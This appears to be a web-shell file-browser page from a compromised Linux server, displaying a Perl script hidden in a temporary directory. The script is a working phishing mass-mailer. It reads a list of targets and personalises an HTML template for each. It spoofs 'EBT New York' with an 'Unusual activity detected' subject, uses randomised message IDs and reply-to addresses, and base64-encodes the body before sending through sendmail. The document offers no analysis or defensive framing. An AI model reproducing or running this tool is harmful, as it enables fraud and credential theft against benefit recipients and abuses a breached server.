MOON
Server: Apache
System: Linux cloud.squadinventive.com 3.10.0-1160.119.1.el7.tuxcare.els5.x86_64 #1 SMP Fri Sep 6 06:34:34 UTC 2024 x86_64
User: wpk54ozo (1047)
PHP: 8.2.28
Disabled: NONE
Upload Files
File: //var/tmp/.lfisdfdfodfgdfg/ita/a.pl
#!/usr/bin/perl
unless ( $ARGV[0] && $ARGV[1] && $ARGV[2] ) { print "uzage: Learn Perl Bici;)\n" }
$| = "1";

# Use MIME::Base64 properly
use MIME::Base64 qw(encode_base64);

# Or use this if you don't want external dependencies (NO conflict)
# Just rename the custom function to avoid conflict

# Function to encode and wrap base64 content for email
sub encode_email_body {
    my $body = shift;
    my $encoded = encode_base64($body);
    # Split into chunks of 76 characters (standard for email)
    $encoded =~ s/(.{1,76})/$1\n/g;
    return $encoded;
}

open(TARGETS, "+< $ARGV[0]");
while(<TARGETS>) {
        ($name,$user, $target) = split /\,/;
   chop $target;
   print "name: $name id: $user\t mail: $target\n";
   
##rendom  setings ;)
$pass_length = 3;  ##  password usual length
#$free_pass        ##  number of available passwords
$max_pass = 100;   ##  free passwords buffer max dimenssion
$min_pass = 50;    ##  free passwords buffer min dimenssion

## routine rout  jenerator ;)
sub generate_random_route
{
  my $passwordsize = 2;
    ##my @alphanumeric = ('a'..'z', 'A'..'Z', 0..9);
    ##my @alphanumeric = ('a'..'z', 0..9);
        my @alphanumeric = ( 0..9);
          my $randroute1 = join '', map $alphanumeric[rand @alphanumeric], 0..$passwordsize;
            my $randroute2 = join '', map $alphanumeric[rand @alphanumeric], 0..$passwordsize;
              my $randroute3 = join '', map $alphanumeric[rand @alphanumeric], 0..$passwordsize;
               my $randroute4 = join '', map $alphanumeric[rand @alphanumeric], 0..$passwordsize;
                my $randroute5 = join '', map $alphanumeric[rand @alphanumeric], 0..$passwordsize;
                my $randroute=$randroute1.'-'.$randroute2.'-'.$randroute3.'-'.$randroute4;
                  return $randroute;
                 }
          $route = generate_random_route($pass_length);
          
#rendom  riplai jenerator ;)
sub generate_random_reply
{
  my $passwordsize = 3;
  my @alphanumeric = ('a'..'z', 'A'..'Z', 0..9);
  ## my @alphanumeric = ('a'..'z', 0..9);
     my @alphanumeric1 = ( 0..9);
      my $randreply1 = join '', map $alphanumeric1[rand @alphanumeric1], 0..$passwordsize;
       my $randreply2 = join '', map $alphanumeric[rand @alphanumeric], 0..$passwordsize;
        my $randreply3 = join '', map $alphanumeric[rand @alphanumeric], 0..$passwordsize;
         my $randreply=$randreply1.'-'.$randreply2.'-'.$randreply3;
          return $randreply;
             }
              $reply = generate_random_reply($pass_length).'@'.'nost.com';

#$date = (system("date -u"));

$from     = '"From EBT New York" <root>';
$subject  = "Unusual activity detected - Message ID: [#$route]" ;
$reply_to = "$reply";
$sendmail = "/usr/sbin/sendmail";

  # Read and process the email template
  my $email_body = "";
  open(SPAMTEXT, "$ARGV[1]");
  while (<SPAMTEXT>) {
        s/xname/$name/g;
        s/xuser/$user/g;
        s/xmail/$target/g;
        s/xroute/$route/g;
        $email_body .= $_;
        }
  close(SPAMTEXT);
  
  # Encode the email body in base64
  my $encoded_body = encode_email_body($email_body);
  
  # Send email with base64 encoded body
  open(SENDMAIL, "|$sendmail -t") or die "Cannot open $sendmail: $!";
        print SENDMAIL "From: $from\n";
        print SENDMAIL "Reply-to: $reply_to\n";
        print SENDMAIL "Subject: $subject\n";
        print SENDMAIL "To: $target\n";
        print SENDMAIL "MIME-Version: 1.0\n";
        print SENDMAIL "Content-Type: text/html; charset=\"UTF-8\"\n";
        print SENDMAIL "Content-Transfer-Encoding: base64\n";
        print SENDMAIL "\n";
        print SENDMAIL $encoded_body;
        close(SENDMAIL);
        
        print "imeil sent tu $target using $from ;) \n";
        open (LOG, ">$ARGV[2]");
        print LOG "$target\n";
        close(LOG);
        sleep 0.7;
};